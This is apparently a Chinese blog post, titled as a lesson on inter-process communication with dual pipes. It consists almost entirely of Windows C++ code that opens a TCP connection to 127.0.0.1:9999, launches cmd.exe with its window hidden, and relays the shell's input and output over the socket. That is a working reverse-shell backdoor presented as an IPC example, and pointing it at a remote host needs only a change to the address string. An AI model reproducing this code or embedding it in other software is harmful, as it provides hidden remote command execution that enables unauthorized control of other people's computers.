进程间通信之双管道

#include <Windows.h>
#include <process.h>
#include <tchar.h>
#pragma  comment(lib,"ws2_32.lib")

SOCKET hSock=INVALID_SOCKET;
HANDLE hReadPipe1=NULL;
HANDLE hWritePipe1=NULL;
HANDLE hReadPipe2=NULL;
HANDLE hWritePipe2=NULL;
HANDLE hReadThread=NULL;
HANDLE hWriteThread=NULL;
BOOL bIsRun=TRUE;
STARTUPINFO startinfo={0};
PROCESS_INFORMATION pi={0};

BOOL Socket_Select(SOCKET hSock,BOOL bRead=TRUE)
{
	FD_SET fdset;
	FD_ZERO(&fdset);
	FD_SET(hSock,&fdset);
	TIMEVAL timeval;
	timeval.tv_sec=1;
	timeval.tv_usec=0;
	int iRet=0;

	if(bRead)
		iRet=select(NULL,&fdset,NULL,NULL,&timeval);
	else
		iRet=select(NULL,NULL,&fdset,NULL,&timeval);

	if(iRet<=0)
		return FALSE;
	else if(FD_ISSET(hSock,&fdset))
		return TRUE;

	return FALSE;
}


unsigned WINAPI WritePipeProc(LPVOID lpParameter)
{
	while(bIsRun)
	{
		if(Socket_Select(hSock))
		{
			char *pRead=new char[1024];
			memset(pRead,0,1024);
			DWORD dwBytesWritten=0;
			int iRet=recv(hSock,pRead,1024,0);
			if(iRet>0)
			{
				if(!WriteFile(hWritePipe1,pRead,iRet,&dwBytesWritten,NULL))
				{
					delete [] pRead;
					return -1;
				}
			}
			else
			{
				delete [] pRead;
				bIsRun=FALSE;
				return -1;
			}
		}
		
	}
	
	return 0;
}

unsigned WINAPI ReadPipeProc(LPVOID lpParameter)
{
	DWORD dwTotalBytesAvail=0;
	DWORD dwNumBytesRead=0;
	while(bIsRun)
	{
		if(PeekNamedPipe(hReadPipe2,NULL,0,NULL,&dwTotalBytesAvail,NULL))
		{
			char  *pReadBuf=new char[512];
			memset(pReadBuf,0,512);
			if(dwTotalBytesAvail>0&&ReadFile(hReadPipe2,pReadBuf,512,&dwNumBytesRead,NULL))
			{
				if(Socket_Select(hSock,FALSE))
				{
					if(send(hSock,(char *)pReadBuf,dwNumBytesRead,0)==SOCKET_ERROR)
					{
						bIsRun=FALSE;
						delete [] pReadBuf;
					}
					else
					{
						delete [] pReadBuf;
					}
				}
			}
			else
			{
				delete [] pReadBuf;//由于PeekNamedPipe的原因,你懂的
			}
		}
	}
	return 0;
}

int _tmain(int argc, _TCHAR* argv[])
{
	WSADATA wsadata;
	if(WSAStartup(MAKEWORD(2,2),&wsadata))
		return -1;

	if(HIBYTE(wsadata.wVersion)!=2 || LOBYTE(wsadata.wVersion)!=2)
	{
		WSACleanup();
		return -1;
	}
	
	hSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(hSock==INVALID_SOCKET)
	{
		WSACleanup();
		return -1;
	}
	
	SOCKADDR_IN sockaddr;
	sockaddr.sin_family=AF_INET;
	sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
	sockaddr.sin_port=htons(9999);
	__try
	{
		if(connect(hSock,(SOCKADDR *)&sockaddr,sizeof(SOCKADDR)))
			__leave;

		SECURITY_ATTRIBUTES sa;
		sa.bInheritHandle=TRUE;
		sa.lpSecurityDescriptor=NULL;
		sa.nLength=sizeof(SECURITY_ATTRIBUTES);
		
		if(!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))
			__leave;
		
		if(!CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))
			__leave;
		
		TCHAR CmdPath[MAX_PATH]={0};
		GetSystemDirectory(CmdPath,MAX_PATH);
		lstrcat(CmdPath,_T("\\cmd.exe"));
		
		startinfo.cb=sizeof(STARTUPINFO);
		startinfo.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		startinfo.hStdInput=hReadPipe1;
		startinfo.hStdOutput=startinfo.hStdError=hWritePipe2;
		startinfo.wShowWindow=SW_HIDE;
		startinfo.lpDesktop=_T("WinSta0\\Default");
		
		if(!CreateProcess(CmdPath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startinfo,&pi))
			__leave;
		
		hWriteThread=(HANDLE)_beginthreadex(NULL,NULL,WritePipeProc,NULL,0,NULL);
		if(!hWriteThread)
		{
			bIsRun=FALSE;
			__leave;
		}
		
		hReadThread=(HANDLE)_beginthreadex(NULL,NULL,ReadPipeProc,NULL,0,NULL);
		if(!hReadThread)
		{
			bIsRun=FALSE;
			__leave;
		}
		
		
		HANDLE handles[]={hReadThread,hWriteThread};
		WaitForMultipleObjects(2,handles,TRUE,INFINITE);
		
	}
	__finally
	{
		if(hReadPipe1!=NULL)
			CloseHandle(hReadPipe1);
		
		if(hReadPipe2!=NULL)
			CloseHandle(hReadPipe2);
		
		if(hWritePipe1!=NULL)
			CloseHandle(hWritePipe1);
		
		if(hWritePipe2!=NULL)
			CloseHandle(hWritePipe2);
		
		if(pi.hProcess!=NULL)
			CloseHandle(pi.hProcess);
		
		if(pi.hThread!=NULL)
			CloseHandle(pi.hThread);
		
		if(hReadThread!=NULL)
			CloseHandle(hWriteThread);
		
		if(hWriteThread!=NULL)
			CloseHandle(hReadThread);
		
		closesocket(hSock);
		WSACleanup();

	}
	
	return 0;
}



  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值